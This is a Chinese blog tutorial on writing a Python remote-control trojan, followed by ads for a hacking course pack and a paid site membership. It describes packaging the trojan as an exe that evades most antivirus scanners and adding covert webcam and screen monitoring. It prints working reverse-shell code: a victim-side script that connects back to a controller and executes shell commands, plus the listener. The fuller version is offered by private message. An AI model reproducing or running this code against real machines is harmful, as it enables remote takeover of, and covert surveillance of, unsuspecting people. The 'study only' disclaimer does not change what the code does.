木马炼成记:从菜鸟到入门

别以为木马是啥高深玩意儿,本质上就是个远程控制程序。它潜伏在你的电脑里,偷偷摸摸地把你的信息传给“幕后黑手”。

为啥木马能用各种语言写?这得从计算机的底层原理说起。不管是C、还是Go,这些高级语言最终都要翻译成机器语言才能让电脑执行。

简单来说,高级语言就像是人类的语言,机器语言就是电脑的语言。而编译器就是个翻译,把人类的语言翻译成电脑能懂的语言。

编译器这玩意儿是怎么来的?其实就是把一些常用的汇编语言功能封装成函数,就像C语言里的自定义函数一样。

所以,木马的运行归根结底还是机器语言在驱动。为了方便起见,咱们用这种高级语言来写,站在巨人的肩膀上,事半功倍!

简易木马:服务端与客户端的“PY交易”

一个简易木马通常由两部分组成:服务端(被控制的电脑)和客户端(攻击机)。它们之间通过建立连接,进行“PY交易”。

先运行监听程序,再运行木马程序,就能看到一个交互式的终端界面。

本质上,这就是通过连接两台服务器,把攻击机的指令发送给被控制端,然后把结果返回。

如果你觉得这只是个脚本,不算木马,那就用把它打包成exe文件。

pyinstaller --onefile 1.py 

再运行这个exe文件,就能看到成功回连了。

神奇的是,直接运行木马脚本不会报毒,生成的exe文件火绒也没啥反应(只有 会弹个窗),可能是因为太弱鸡了。

木马升级:监控摄像头和屏幕,打造你的专属“楚门世界”

既然如此,那就来个升级版!加入摄像头监控和屏幕监控功能黑客菜鸟入门,打造你的专属“楚门世界”。

这里有个坑:进程交互的时候,查看视频会导致进程阻塞。经过一番调试,终于找到了问题所在。

先实现单摄像头监控,效果如下:

然后加入远程屏幕监控功能,用实时传输图片数据,再用多线程来避免进程阻塞,实现视频监控和终端交互两不误。

就这样,一个简易的监控、摄像、终端三项功能的控制木马就诞生了。当然,因为只是简化版,程序的性能会受到一些限制,比如同时开启屏幕监控和摄像头后容易卡死。想要优化,还需要更多的知识储备。

免杀奇迹:我的木马竟然能过360和火绒?

在编写过程中黑客菜鸟入门,我发现打包出来的exe文件竟然能过360和火绒!最后48款查杀中只有两款能测出,可能是因为样本太小了。

本次分享就到这里。木马主要通过运行exe文件来上线,所以不乱下软件就能避免大部分陷阱。还有一些木马会藏在合法的白程序中,像特洛伊木马一样,让你防不胜防。接下来,我会写一篇关于常见钓鱼方式的文章,比如水坑攻击、钓鱼网站链接、压缩包程序木马等容易被上马和信息泄露的方式。只有真正了解,才能最大程度避免。

最后的絮叨:代码共享与安全提醒

如果你对木马免杀感兴趣,可以研究下各个厂商的杀毒软件对于特征的侧重检查。如果你也想自己制作一个木马来研究学习,可以私信我,因为程序比较敏感和代码量合起来长达200多行也不好直接贴在下面。下面就贴一个最初的交互版本,完整版私信我,如果你感兴趣的话。

被控端:

import socket import subprocess import os  def connect(ip, port):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect((ip, port))     return s  def receive_commands(s):     while True:         command = s.recv(1024).decode()         if command.lower() == 'exit':             s.close()             break         elif command[:2] == 'cd':             os.chdir(command[3:])             s.send(b'Changed directory')         else:             result = subprocess.run(command, shell=True, capture_output=True)             s.send(result.stdout + result.stderr)  if __name__ == '__main__':     ip = '127.0.0.1'  # 控制服务器的IP地址     port = 4444        # 控制服务器的端口     s = connect(ip, port)     receive_commands(s) 

客户端:

import socket  def start_server(ip, port):     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.bind((ip, port))     s.listen(5)     print(f'[*] Listening on {ip}:{port}')     return s  def handle_client(client_socket):     while True:         command = input('> ')         client_socket.send(command.encode())         if command.lower() == 'exit':             break         result = client_socket.recv(4096).decode('gbk')         print(result)  if __name__ == '__main__':     ip = '127.0.0.1'  # 控制服务器的IP地址     port = 4444        # 控制服务器的端口     server = start_server(ip, port)     client_socket, addr = server.accept()     print(f'[*] Connection from {addr}')     handle_client(client_socket) 

再次强调:本文仅供学习研究,切勿用于非法用途!网络安全,人人有责!

黑客/网络安全学习包

资料目录

成长路线图&学习规划

配套视频教程

SRC&黑客文籍

护网行动资料

黑客必读书单

面试题合集

282G《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

图片

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

图片

图片

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

图片

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

图片

5.黑客必读书单

图片

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

图片

更多内容为防止和谐,可以扫描获取~

图片

朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!


限时特惠:
本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情

站长微信:Jiucxh

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注